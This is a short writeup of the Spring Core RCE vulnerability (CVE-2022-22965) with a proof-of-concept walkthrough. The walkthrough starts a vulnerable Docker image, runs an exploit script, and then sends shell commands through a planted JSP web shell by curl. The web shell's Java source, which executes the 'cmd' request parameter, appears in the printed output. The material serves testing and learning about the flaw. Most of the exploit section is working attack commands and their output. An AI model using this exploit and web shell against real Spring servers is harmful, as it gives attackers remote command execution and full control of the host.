Spring Core RCE - CVE-2022-22965

After Spring Cloud, on March 29, another heavyweight vulnerability of Spring broke out on the Internet: Spring Core RCE

On March 31 Spring released new versions which fixes the vulnerability. See section Patching.

On March 31 a CVE-number was finally assigned to the vulnerability with a CVSS score 9.8 (CRITICAL)

Proof-of-Concept

The exploit is very easy to use, hence the very high CVSS score of 9.8.

To test the vulnerability you can do the following.

Start a vulnerable docker image of Spring.

docker run -d -p 8082:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29

This binds the vulnerable Spring to the address localhost:8082.

Verify the image is started correctly with curl

curl http://localhost:8082

A response of ok should be returned.

Let's exploit the vulnerable image now!

python3 exp.py --url http://localhost:8082

A response of The vulnerability exists .... should be returned.

You can now exploit the vulnerability with curl

# Execute command whoami
curl --output - http://localhost:8082/tomcatwar.jsp?pwd=j&cmd=whoami

# Response has been truncated
root

//
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } - ........

# Execute command ls
curl --output - http://localhost:8082/tomcatwar.jsp?pwd=j&cmd=ls

# Response has been truncated
app
bin
dev
etc
..........